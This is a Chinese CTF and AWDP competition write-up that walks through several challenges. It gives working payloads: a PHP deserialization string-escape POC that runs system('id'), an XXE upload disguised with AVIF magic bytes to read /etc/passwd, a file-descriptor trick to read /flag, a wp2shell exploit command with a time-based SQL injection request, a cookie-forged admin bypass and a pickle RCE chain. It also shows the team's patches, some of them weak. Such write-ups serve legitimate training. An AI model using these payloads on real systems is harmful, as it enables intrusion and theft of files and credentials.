Day1 CTF

由于第一天只有这道题有源码,其他都是直接打,就只复现有附件的题目了。

雾岛观测站

赛中手搓到一半失败了,还是得多练,很久没追链子了太失败了:(

分析

首先链子反序列化的部分在class App\Services\MemoService这个类里面 po下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php

namespace App\Services;

use App\Core\Codec;
use App\Core\Store;
use App\Models\Memo;

class MemoService
{
private Store $store;

public function __construct(Store $store)
{
$this->store = $store;
}

public function create(array $input): int
{
$memo = new Memo();//memo这个类存我写的日志
$memo->name = (string) ($input['name'] ?? '');//强制
$memo->category = trim((string) ($input['category'] ?? '未分类'));
$memo->content = (string) ($input['content'] ?? '');

$serdata = Codec::encode(serialize($memo));//先serialize 再Codec::encode

return $this->store->save($serdata);
}

public function find(int $id): ?Memo
{
$serdata = $this->store->find($id);
if ($serdata === null) {
return null;
}

$memo = @unserialize($serdata);
return $memo instanceof Memo ? $memo : null;
}

public function recent(int $limit = 20): array
{
$memos = [];
foreach ($this->store->all() as [$id, $serdata]) {
$memo = @unserialize($serdata);
if ($memo instanceof Memo) {
$memos[$id] = $memo;
}
}

return array_slice($memos, -$limit, null, true);
}

public function search(string $keyword): array
{
$memos = [];
foreach ($this->store->all() as [$id, $serdata]) {
$memo = @unserialize($serdata);
if ($memo instanceof Memo && mb_stripos((string) $memo->name, $keyword) !== false) {
$memos[$id] = $memo;
}
}
return $memos;
}
}

代码看着唬人,但是挺好理解的,就是网站的基本功能点实现,新建日志,搜索日志,查看日志。从代码也看出反序列化的点就在这。

最关键的就是create()这个方法

create() 只接受字符串并再 serialize() 一次,对象语法会被包进 s:N:"..." 变成纯文本;意思是你的对象语法被降级成了字符串类型的一个值。

详细解释:

1
2
3
4
5
6
7
8
你传入name O:17:"App\Core\Template":2:{...}
create()只会把他当作普通string

经过经过serialize经过serialize生成
...s:4:"name";s:112:"O:17:"App\Core\Template":2:{...}";...

unserialize()也只会把他解析成字符串而不是反序列化结构
这样就导致你链子根本没办法触发

然后里面调用了 Codec::encode 看下Codec的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

namespace App\Core;

class Codec
{
private const CONTROL = [
"\x00", "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08",
"\x09", "\x0a", "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11",
"\x12", "\x13", "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a",
"\x1b", "\x1c", "\x1d", "\x1e", "\x1f", "\x7f",
];

private static ?array $map = null;

private static function map(): array
{
if (self::$map !== null) {
return self::$map;
}

$map = [];
foreach (self::CONTROL as $char) {
$map[$char] = '';
}
return self::$map = $map;
}

public static function encode(string $payload): string
{
return strtr($payload, self::map());
}
}

可以看到这个方法会把传入的字符串里的\x00到\x7f字节全部替换掉,很熟悉吧,反序列化出现替换的话基本确定就是字符串逃逸了。而且加上这里string类的限制,所以我们可以利用字符串逃逸来使我传入的serdata生效。因为这样就没有string的限制了。

入口找到了,找下出口点。

执行命令的函数call_user_func_array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

namespace App\Utils;

class TaskRunner
{
public $callback;

public function run(string $task, array $payload = []): mixed
{
return call_user_func_array($this->callback, [$task, $payload]);
}

public function __call(string $name, array $arguments): mixed
{
return call_user_func_array($this->callback, $arguments);
}
}

call_user_func_array的参数 $name $arguments均可控,说明可以用。call_user_func_array的用法就是call_user_func_array&vars[0]=system&vars[1][]=cmd

入口和出口都找到了,现在开始正式找链子。首先找可以触发__call()的类,在class App\Core\Template找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

namespace App\Core;

class Template
{
public $engine;
public $template;

public function render(array $vars = []): string
{
if ($this->engine === null) {
return '';
}
return (string) $this->engine->compile($this->template);
}

public function __toString(): string
{
return $this->render();
}
}

return (string) $this->engine->compile($this->template);这里完美符合要求。继续找触发__toString()的类。

我比赛的时候找找找找了半天没找到,ai找到了触发点,但是没看到字符串逃逸这个关键的点,我也没看到 (反思.jpg 爱人错过来了

show.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php $entryId = (int) ($_GET['id'] ?? 0); ?>

<article class="entry">
<a class="back" href="/">← 返回日志档案</a>

<header class="entry-head">
<p class="eyebrow">FIELD LOG · ENTRY NO. <?= str_pad((string) $entryId, 4, '0', STR_PAD_LEFT) ?></p>
<h1><?= e($memo->name) ?></h1> //这里触发__toString()
<div class="entry-meta">
<span class="cat"><?= e($memo->category) ?></span>//这里触发__toString()
<span class="meta-dim">MIST ISLE OBSERVATORY</span>
<span class="meta-dim">INTERNAL ARCHIVE</span>
</div>
</header>

<div class="entry-body">
<?= nl2br(e($memo->content)) ?>//这里触发__toString()
</div>

<footer class="entry-foot">
<span>RECORDED BY DUTY </span>
<span aria-hidden="true">◌</span>
<span>ARCHIVED</span>
</footer>
</article>

e($memo->name)强制触发__toString() 看一眼e()的写法你就知道了为什么了

1
2
3
4
5
6
7
8
9
10
<?php

if (!function_exists('e')) {

function e(mixed $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');//string
}
}

函数使用了string 强制把$value当作字符串,完美的__toString()触发点,并且我们传入的东西就是这里的参数,所以链子收尾完成。

总结下漏洞逻辑

1
2
3
4
5
6
7
8
9
Store::save() 
→ serialize($serdata)
→ Codec 替换字符串,可以正常反序列化数据
→ MemoService::find() 的 @unserialize 读取序列化数据 字符串逃逸生效导致string限制失效
→ 字段错位、content 变成 Template 对象
→ e() 的 (string) 触发 __toString
→ Template::render()
→ TaskRunner::__call
→ call_user_func_array

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
use App\Core\Autoloader;

define('APP_ROOT', __DIR__);
require APP_ROOT . '/app/Core/functions.php';
require APP_ROOT . '/app/Core/Autoloader.php';
Autoloader::register();
Autoloader::addNamespace('App\\Base', APP_ROOT . '/app/Base');
Autoloader::addNamespace('App\\Core', APP_ROOT . '/app/Core');
Autoloader::addNamespace('App\\Models', APP_ROOT . '/app/Models');
Autoloader::addNamespace('App\\Services', APP_ROOT . '/app/Services');
Autoloader::addNamespace('App\\Controllers', APP_ROOT . '/app/Controllers');
Autoloader::addNamespace('App\\Utils', APP_ROOT . '/app/Utils');

$poc = new App\Core\Template();
$poc ->engine = new App\Utils\TaskRunner();
$poc ->engine -> callback = 'system';
$poc ->template = 'id';

echo serialize($poc);

// ===== 字符串逃逸 =====
$value = serialize($poc);

$inject = '";'.'s:7:"content";'.$value.'s:1:"x";s:1:"y";' . '}';
$k = strlen('";s:8:"category";s:'.strlen($inject).':"');

echo "\nname(hex)= ".bin2hex('a'.str_repeat("\x00", $k))."\n";
echo "category = ".$inject ."\n";
?>

name和category按照生成的传 content你被放飞了😋然后/log/view?id=xxx就可以触发漏洞了

Day2 AWDP

ATTACK

分析

这里有个小技巧吧,因为update.sh给的修复路径是/app/lib/ 所以我优先去看了这个目录下的文件

先看 image-type.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// 图片类型识别:按文件头魔数判定格式,供上传与直出共用。

const TYPES = {
AVIF: 'image/avif',
BMP: 'image/bmp',
GIF: 'image/gif',
ICO: 'image/x-icon',
JPEG: 'image/jpeg',
PNG: 'image/png',
SVG: 'image/svg+xml',
WEBP: 'image/webp',
}

const EXTENSIONS = {
'image/avif': 'avif',
'image/bmp': 'bmp',
'image/gif': 'gif',
'image/jpeg': 'jpg',
'image/png': 'png',
'image/svg+xml': 'svg',
'image/webp': 'webp',
'image/x-icon': 'ico',
}

const TYPE_BY_EXTENSION = Object.fromEntries(
Object.entries(EXTENSIONS).map(([type, extension]) => [extension, type])
)

function startsWith(buffer, signature) {
return signature.every((byte, index) => buffer[index] === byte)
}

function detectImageType(buffer) {
if (!buffer || buffer.length === 0) {
return null
}

if (startsWith(buffer, [0xff, 0xd8, 0xff])) {
return TYPES.JPEG
}

if (startsWith(buffer, [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a])) {
return TYPES.PNG
}

if (buffer.subarray(0, 4).toString() === 'GIF8') {
return TYPES.GIF
}

if (
buffer.subarray(0, 4).toString() === 'RIFF' &&
buffer.subarray(8, 12).toString() === 'WEBP'
) {
return TYPES.WEBP
}

// ISO-BMFF:ftyp 品牌出现在第 4 字节,前四位是容器长度
if (
[0, 0, 0, 0, 0x66, 0x74, 0x79, 0x70, 0x61, 0x76, 0x69, 0x66].every(
(byte, index) => !byte || buffer[index] === byte
)
) {
return TYPES.AVIF
}

if (buffer.subarray(0, 2).toString() === 'BM') {
return TYPES.BMP
}

if (buffer.subarray(0, 4).toString() === 'icns') {
return TYPES.ICO
}

const head = buffer.subarray(0, 512).toString('latin1')
if (/^\s*(<\?xml[\s\S]*?)?<svg[\s>]/i.test(head)) {
return TYPES.SVG
}

return null
}

function extensionOf(type) {
return EXTENSIONS[type] || null
}

function typeByExtension(extension) {
return TYPE_BY_EXTENSION[String(extension || '').toLowerCase()] || null
}

export { TYPES, EXTENSIONS, detectImageType, extensionOf, typeByExtension }

detectImageType函数检测图片类型,可以看到对avif和SVG的判断和其他文件不太一样。

avif的限制

1
2
3
4
5
6
7
8
if (
[0, 0, 0, 0, 0x66, 0x74, 0x79, 0x70, 0x61, 0x76, 0x69, 0x66].every(
(byte, index) => !byte || buffer[index] === byte
//function check(byte, index) {return !byte || buffer[index] === byte} || 是先算左边;左边为真就结束,右边不看。
)
) {
return TYPES.AVIF
}

前四个可以为任意字节,因为它是走的||的左边逻辑。后八个必须符合它的要求。ftypavif

然后svg文件的限制 一个纯正则

1
2
3
4
const head = buffer.subarray(0, 512).toString('latin1')
if (/^\s*(<\?xml[\s\S]*?)?<svg[\s>]/i.test(head)) {
return TYPES.SVG
}

判断

1
2
<svg ...>                          ← 直接以 svg 开头
<?xml version="1.0"?><svg ...> ← 先 xml 声明,再 svg

继续看 normalize.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
// 入库前的文档清洗。
//
// 背景:早期版本允许直接上传 SVG,存量数据里有带注释、带 DTD、结构损坏的文件;
// 上传入口统一过一遍清洗,保证落盘内容干净、后续直出不会带出多余声明。
// 非标记类内容(位图)直接跳过,交给后续流程。

import { spawn } from 'node:child_process'

const CLEAN_MAX_BYTES = 8 * 1024 * 1024
const CLEAN_TIMEOUT_MS = 5000

// 展开实体引用,并去掉 DTD 声明与注释:落盘内容里不留声明,只保留实际内容
const CLEAN_ARGS = ['--noent', '--dropdtd', '--format', '-']

function startsLikeMarkup(buffer) {
let offset = 0

if (buffer.length >= 3 && buffer[0] === 0xef && buffer[1] === 0xbb && buffer[2] === 0xbf) {
offset = 3
}

while (
offset < buffer.length &&
(buffer[offset] === 0x20 ||
buffer[offset] === 0x09 ||
buffer[offset] === 0x0d ||
buffer[offset] === 0x0a)
) {
offset++
}

return offset < buffer.length && buffer[offset] === 0x3c
}

async function cleanDocument(buffer) {
if (!buffer || buffer.length === 0 || buffer.length > CLEAN_MAX_BYTES) {
return null
}

if (!startsLikeMarkup(buffer)) {
return null
}

return runXmllint(CLEAN_ARGS, buffer)
}

function runXmllint(args, input) {
return new Promise((resolve) => {
const child = spawn('xmllint', args, { stdio: ['pipe', 'pipe', 'pipe'] })
let output = ''
let settled = false

const finish = (value) => {
if (settled) return
settled = true
clearTimeout(timer)
resolve(value)
}

const timer = setTimeout(() => {
child.kill('SIGKILL')
finish(null)
}, CLEAN_TIMEOUT_MS)

child.stdout.setEncoding('utf8')
child.stdout.on('data', (chunk) => {
output += chunk
if (output.length > CLEAN_MAX_BYTES) {
child.kill('SIGKILL')
finish(null)
}
})
child.stderr.resume()
child.on('error', () => finish(null))
child.on('close', (code) => {
if (code !== 0) return finish(null)
const text = output.trim()
finish(text === '' ? null : text)
})
child.stdin.end(input)
})
}

export { cleanDocument, startsLikeMarkup }

这个文件的内容在开头就表明了,所有上传的文件的内容都会经过这个文件的函数的检测

image-20261110231152529

可以看到就三个函数捏,看到runXmllint。就是运行的xmllint这个工具的函数

— command line XML tool

官方手册:https://gnome.pages.gitlab.gnome.org/libxml2/xmllint.html

const CLEAN_ARGS = ['--noent', '--dropdtd', '--format', '-']是传给runXmllint的参数,也是xmllint这个工具的参数。

--noent

1
将实体引用替换为实体值。默认情况下,xmllint 会保留实体引用。此机制支持加载外部 DTD 和实体。

--dropdtd

1
解析后移除 DTD。

--format

1
2
3
对输出内容进行重新格式化和重新缩进。缩进方式由环境变量 `XMLLINT_INDENT` 控制(默认值为两个空格“  ”)。

特别是在缺少 DTD 的情况下,此功能从未能可靠地运作,实际上已彻底失效。

这个题目的漏洞有 4 个

1.startsLikeMarkup的判断宽松

1
return offset < buffer.length && buffer[offset] === 0x3c

非0字节的第一个字符为<就可以。

2.存在–noent参数

会导致允许加载外部实体,以至于可以直接xxe注入

1
2
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg>&xxe;</svg>

3.avif的限制可以被绕过

前四个字节随便填写,后八个字节写ftypavif,写成

<?xmftypavif 这样的结构就可以成功被解析为 avif 文件

4.判定文件类型时用的是 原始字节,清洗后写入文件时用的是 xmllint 输出

所以导致我们访问文件直接获取到了 &xxe; 的输出

POC

做法就是上传avif文件 文件内容是

1
<?xmftypavif?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>

然后访问json里给重命名的avif 就会返回文件/etc/passwd内容

非预期

react2shell直接攻击拿flag

云开发终端-devterm_attachment

分析

awdp给的源码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$f = @fopen('/flag', 'r');
$ok = false;
if ($f) {
$s = fstat($f);
$ok = $s['size'] > 0;
}

$out = '';
if (isset($_POST['cmd']) && ($c = trim($_POST['cmd'])) !== '') {
putenv('PATH=/bin');
putenv('HOME=/tmp');
$out = (string) shell_exec('/bin/busybox chroot /sandbox /bin/sh -c ' . escapeshellarg($c) . ' 2>&1');
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>DevTerm · 云开发终端</title>
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<div class="terminal">
<div class="bar"><span class="dot red"></span><span class="dot yellow"></span><span class="dot <?= $ok ? 'green' : 'gray' ?>"></span><span class="bar-title">dev-server: /sandbox</span></div>
<div class="screen">
<div class="welcome"><div class="welcome-title">DevTerm · 云开发终端</div><div class="welcome-sub">命令运行在隔离开发沙箱中,沙箱内文件可自由读写</div></div>
<?php if ($out !== ''): ?><pre class="out"><?= htmlspecialchars($out) ?></pre><?php endif; ?>
<form method="post" class="cmdline"><span class="prompt">sandbox$</span><input type="text" name="cmd" id="cmd" placeholder="输入命令,例如 ls -la" autofocus autocomplete="off"><button type="submit">执行</button></form>
</div>
</div>
</body>
</html>

直接明了是沙箱逃逸,可以任意读写文件。我们的目的是读取到flag。

这个题其实平常也接触过,蛮简单的,用fd文件描述符,是是进程访问”已打开的东西”时用的编号。flag肯定是被打开过的,直接依靠fd就可以读取到flag。

image-20261111142315341

poc
1
cat <&6

技术周刊-blog

分析

下载下来的附件名字叫wordpress-7.0.1 直接就是最近的wp2shell开打 具体分析触发点网上文章很多,我不解释了。可惜的就是我记得之前下了poc的,结果电脑上不翼而飞了,猪队友也没下。后面题目提示给的也是组合漏洞的wordprocess的漏洞。

poc

https://github.com/ikow/wp2shell

下载下来直接

1
python exploit.py http://xxx:port/ -c "id"

就可以获取shell拿到flag啦

navicat里面也可以看到成功添加管理员权限的账户

image-20261111145005338

可以使用添加的账户成功登录到后台。

image-20261111145152265

复现我使用的是phpstudy加载的源码,php版本是php-8.3.31,师傅们复现的时候记得打开一些常见的设置哦。

教育服务平台-edusys_attachment

分析

我们依旧老办法,根据update.sh去定位下先看的点。查看下controllers文件夹下的源码。漏洞就存在于这个文件

1
2
3
4
5
protected function consoleContext()
{
$context = (string)$this->request->getCookie('console', ''); //授权依据来自 Cookie
return $context === '' ? self::CONSOLE_STUDENT : $context;
}

意思是他是通过我传入的cookie:console=admin/student来判别身份 所以我可以直接成为admin去访问管理员的api,如下:

1
2
3
4
5
actionGetStudents4Admin
actionGetInfo4Admin
actionGetAvatar4Admin
actionGetAvatar4Admin
actionGetStats4Admin

漏洞点就是这个,至于拿取flag是藏在了三个地方:

学生档案的 remark(学籍备注)字段 ?r=user/GetInfo4Admin&uid=N flag就在返回的json里面

头像 PNG 的 iTXt 块(来源是 photo_caption 字段)?r=user/GetAvatar4Admin&uid=N 把png保存下来

data/update.log(系统更新日志)?r=user/GetUpdateLog4Admin 在日志里

唯一需要的一点就是,需要我们先根据公告拿到没有改默认密码的学生账号密码,登录进去过后再改cookie:console=admin 直接未登录态改是不能生效的

poc
1
2
3
{TARGET}/?r=user/GetInfo4Admin&uid={UID}
{TARGET}/?r=user/GetAvatar4Admin&uid={UID}
{TARGET}/?r=user/GetUpdateLog4Admin

中转审计台-bigtoken_attachment

分析

这个题目我赛中没做出来,其实根本来不及看了。。。

这个题的源码也是依托滚木,只能看出来有个管理员。题目是上了提示的:分别是

1
2
攻击提示:管理员视角是不是能看到一些其他东西?
攻击提示:平台方说他们的服务绝对不会收集用户数据和会话?你信吗?

这个题目其他队做出来了,思路是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
附件 bigtoken.py
│ 逆向 API 面 → 推出:管理后台 + 会话表 + 机器表 + 单层鉴权
▼
普通用户登录 xxx@xx.com / password
│
▼
扫前端 + /docs ──► 发现 /account/profile 与 /archives/import(pickle)
│
▼
/account/profile 传 uid=1 ──► 重置管理员密码 ──► 回显 ops@bigtoken.cloud / admin ← 提示1
│
▼
管理员登录 ──► /admin/sessions 读全站会话(验证提示2:确实在收集)
│
▼
/admin/archives/import ──► base64 + pickle.loads ──► RCE
│
▼
exec:读 /flag ──► 回显进 records[].id ──► flag{...}

FIX

很简单,直接给normalize.js加上xxe的过滤就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// 入库前的文档清洗。
//
// 背景:早期版本允许直接上传 SVG,存量数据里有带注释、带 DTD、结构损坏的文件;
// 上传入口统一过一遍清洗,保证落盘内容干净、后续直出不会带出多余声明。
// 非标记类内容(位图)直接跳过,交给后续流程。

import { spawn } from 'node:child_process'

const CLEAN_MAX_BYTES = 8 * 1024 * 1024
const CLEAN_TIMEOUT_MS = 5000

// 展开实体引用,并去掉 DTD 声明与注释:落盘内容里不留声明,只保留实际内容
const CLEAN_ARGS = ['--noent', '--dropdtd', '--format', '-']

function startsLikeMarkup(buffer) {
let offset = 0

if (buffer.length >= 3 && buffer[0] === 0xef && buffer[1] === 0xbb && buffer[2] === 0xbf) {
offset = 3
}

while (
offset < buffer.length &&
(buffer[offset] === 0x20 ||
buffer[offset] === 0x09 ||
buffer[offset] === 0x0d ||
buffer[offset] === 0x0a)
) {
offset++
}

return offset < buffer.length && buffer[offset] === 0x3c
}


async function cleanDocument(buffer) {
if (!buffer || buffer.length === 0 || buffer.length > CLEAN_MAX_BYTES) {
return null
}


if (!startsLikeMarkup(buffer)) {
return null
}


const content = buffer.toString()
const xxePatterns = [//修复处
/SYSTEM\s+['"]https?:\/\//i,
/PUBLIC\s+[\w\-]+\s+["']https?\/\//i,
/DOCTYPE[\s\S]*?ENTITY[\s\S]*?SYSTEM/i,
]


for (const pattern of xxePatterns) {
if (pattern.test(content)) {
return null
}
}


return runXmllint(CLEAN_ARGS, buffer)
}


function runXmllint(args, input) {
return new Promise((resolve) => {
const child = spawn('xmllint', args, { stdio: ['pipe', 'pipe', 'pipe'] })
let output = ''
let settled = false

const finish = (value) => {
if (settled) return
settled = true
clearTimeout(timer)
resolve(value)
}

const timer = setTimeout(() => {
child.kill('SIGKILL')
finish(null)
}, CLEAN_TIMEOUT_MS)

child.stdout.setEncoding('utf8')
child.stdout.on('data', (chunk) => {
output += chunk
if (output.length > CLEAN_MAX_BYTES) {
child.kill('SIGKILL')
finish(null)
}
})
child.stderr.resume()
child.on('error', () => finish(null))
child.on('close', (code) => {
if (code !== 0) return finish(null)
const text = output.trim()
finish(text === '' ? null : text)
})
child.stdin.end(input)
})
}

export { cleanDocument, startsLikeMarkup }

云开发终端-devterm_attachment

给$_POST['cmd'])加过滤就可以了,这个题队友修复的,给下源码

这里有个小插曲,一开始我加的无敌waf不行,因为会影响它正常读写文件,waf没那么强反而可以过,所以大家打awdp的时候真的需要多多结合题目来做,不要慌。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$f = @fopen('/flag', 'r');
$ok = false;
if ($f) {
$s = fstat($f);
$ok = $s['size'] > 0;
}

$out = '';
if (isset($_POST['cmd']) && ($c = trim($_POST['cmd'])) !== '') {
putenv('PATH=/bin');
putenv('HOME=/tmp');
if (preg_match('/(\|;|\$|\`|\$\(|\$\{)/', $c)) {//加正则过滤
$out = 'Invalid characters in command' . "\n";
exit;
}
$out = (string) shell_exec('/bin/busybox chroot /sandbox /bin/sh -c ' . escapeshellarg($c) . ' 2>&1');
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>DevTerm · 云开发终端</title>
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<div class="terminal">
<div class="bar"><span class="dot red"></span><span class="dot yellow"></span><span class="dot <?= $ok ? 'green' : 'gray' ?>"></span><span class="bar-title">dev-server: /sandbox</span></div>
<div class="screen">
<div class="welcome"><div class="welcome-title">DevTerm · 云开发终端</div><div class="welcome-sub">命令运行在隔离开发沙箱中,沙箱内文件可自由读写</div></div>
<?php if ($out !== ''): ?><pre class="out"><?= htmlspecialchars($out) ?></pre><?php endif; ?>
<form method="post" class="cmdline"><span class="prompt">sandbox$</span><input type="text" name="cmd" id="cmd" placeholder="输入命令,例如 ls -la" autofocus autocomplete="off"><button type="submit">执行</button></form>
</div>
</div>
</body>
</html>

技术周刊-blog

这个我就认为其实有很多可以防御的点了,因为poc打的是sql盲注,你可以直接写sql的waf来拦截主办方脚本的攻击。

1
2
3
4
5
6
7
8
9
POST /?rest_route=/batch/v1 HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Length: 566
Host: loc:7676
Content-Type: application/json
User-Agent: Mozilla/5.0
Connection: keep-alive

{"requests": [{"method": "POST", "path": "http://:"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": [{"method": "GET", "path": "http://:"}, {"method": "GET", "path": "/wp/v2/categories?author_exclude=SELECT+IF%28%28COALESCE%28%28SELECT+ID+FROM+%60wp_posts%60+WHERE+post_type%3D0x6f656d6265645f6361636865+AND+post_name%3D0x3138336534346336646533613662613533306663656366343538383739383434+ORDER+BY+ID+DESC+LIMIT+1%29%2C0%29+%3E%3D+7%29%2CSLEEP%280.8%29%2C0%29"}, {"method": "GET", "path": "/wp/v2/posts"}]}}, {"method": "POST", "path": "/batch/v1"}]}

就当每次请求这个路由的时候,对他的请求做限制。

当然你也可以对upload的时候做限制,不允许包含php文件等。

image-20261112220257990

这个题目最重要的还是知道是wp2shell以及得有poc针对poc去做限制,awdp还是修的越快越好,正解不一定快啊。

当然你在自己平时的环境遇到了这个漏洞最好得修复还是升级wordpress版本

教育服务平台-edusys_attachment

这个题目的漏洞点很简单,所以其实改下它直接读取cookie的逻辑就行。修改controllers\ApiController.php文件即可。

const CONSOLE_ADMIN = ‘adminad’;常量CONSOLE_ADMIN直接随便改什么都行,直接过。队友鬼脑发动。

教育服务平台修复示意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
<?php
namespace app\controllers;

use app\models\Course;
use app\models\Score;
use app\models\Student;
use app\support\AvatarRenderer;
use app\support\Role;
use framework\web\BadRequestHttpException;
use framework\web\BinaryResponse;
use framework\web\Controller;
use framework\web\ForbiddenHttpException;
use framework\web\NotFoundHttpException;

/**
* 教务数据接口:学生档案、课程、成绩、课表与教务统计。
*
* 动作由信息门户与管理端控制台两个子控制器继承使用,访问控制由子类在 behaviors() 中声明。
*/
class ApiController extends Controller
{
/** 信息门户 */
const CONSOLE_STUDENT = 'student';

/** 管理端控制台 */
const CONSOLE_ADMIN = 'adminad'; //!!!!!11直接改的这里

// ==================== 学生端 ====================

/**
* 本人学籍档案。
*/
public function actionGetInfo()
{
$student = $this->currentStudent();
return ['ok' => true, 'student' => $student->profile()];
}

/**
* 个人信息 · 基本信息。
*/
public function actionGetBasic()
{
$student = $this->currentStudent();
return [
'ok' => true,
'basic' => [
'stuNo' => (string)$student->stu_no,
'name' => (string)$student->name,
'gender' => (string)$student->gender,
'grade' => (string)$student->grade,
'major' => (string)$student->major,
'className' => $student->classInfo() === null ? '' : (string)$student->classInfo()->name,
'status' => (string)$student->status,
],
];
}

/**
* 个人信息 · 联系方式。
*/
public function actionGetContact()
{
$student = $this->currentStudent();
return [
'ok' => true,
'contact' => [
'phone' => (string)$student->phone,
'email' => (string)$student->email,
'address' => (string)$student->address,
'postcode' => (string)$student->postcode,
'emergencyName' => (string)$student->emergency_name,
'emergencyPhone' => (string)$student->emergency_phone,
],
];
}

/**
* 个人信息 · 学籍编号。
*/
public function actionGetNumber()
{
$student = $this->currentStudent();
return [
'ok' => true,
'number' => [
'stuNo' => (string)$student->stu_no,
'examNo' => (string)$student->exam_no,
'idCard' => (string)$student->id_card,
],
];
}

/**
* 个人信息 · 学籍备注。
*/
public function actionGetRemark()
{
$student = $this->currentStudent();
return ['ok' => true, 'remark' => (string)$student->remark];
}

/**
* 个人信息 · 头像。
*/
public function actionGetAvatar()
{
$student = $this->currentStudent();
return $this->avatarOf($student);
}

/**
* 我的课程。
*/
public function actionGetCourses()
{
$student = $this->currentStudent();
$term = (string)$this->request->get('term', $this->getParam('currentTerm'));
return [
'ok' => true,
'term' => $term,
'courses' => Course::byStudent((int)$student->id, $term),
];
}

/**
* 成绩查询。
*/
public function actionGetScores()
{
$student = $this->currentStudent();
$rows = Score::byStudent((int)$student->id);
$totalCredit = 0.0;
$weighted = 0.0;
foreach ($rows as $row) {
$credit = (float)$row['credit'];
$totalCredit += $credit;
$weighted += $credit * (float)$row['score'];
}
return [
'ok' => true,
'scores' => $rows,
'summary' => [
'count' => count($rows),
'credit' => round($totalCredit, 1),
'average' => $totalCredit > 0 ? round($weighted / $totalCredit, 2) : 0,
],
];
}

/**
* 我的课表。
*/
public function actionGetSchedule()
{
$student = $this->currentStudent();
$term = (string)$this->request->get('term', $this->getParam('currentTerm'));
$days = [];
foreach (Course::byStudent((int)$student->id, $term) as $course) {
$day = (int)$course['weekday'];
if (!isset($days[$day])) {
$days[$day] = [];
}
$days[$day][] = [
'name' => (string)$course['name'],
'location' => (string)$course['location'],
'startPeriod' => (int)$course['start_period'],
'endPeriod' => (int)$course['end_period'],
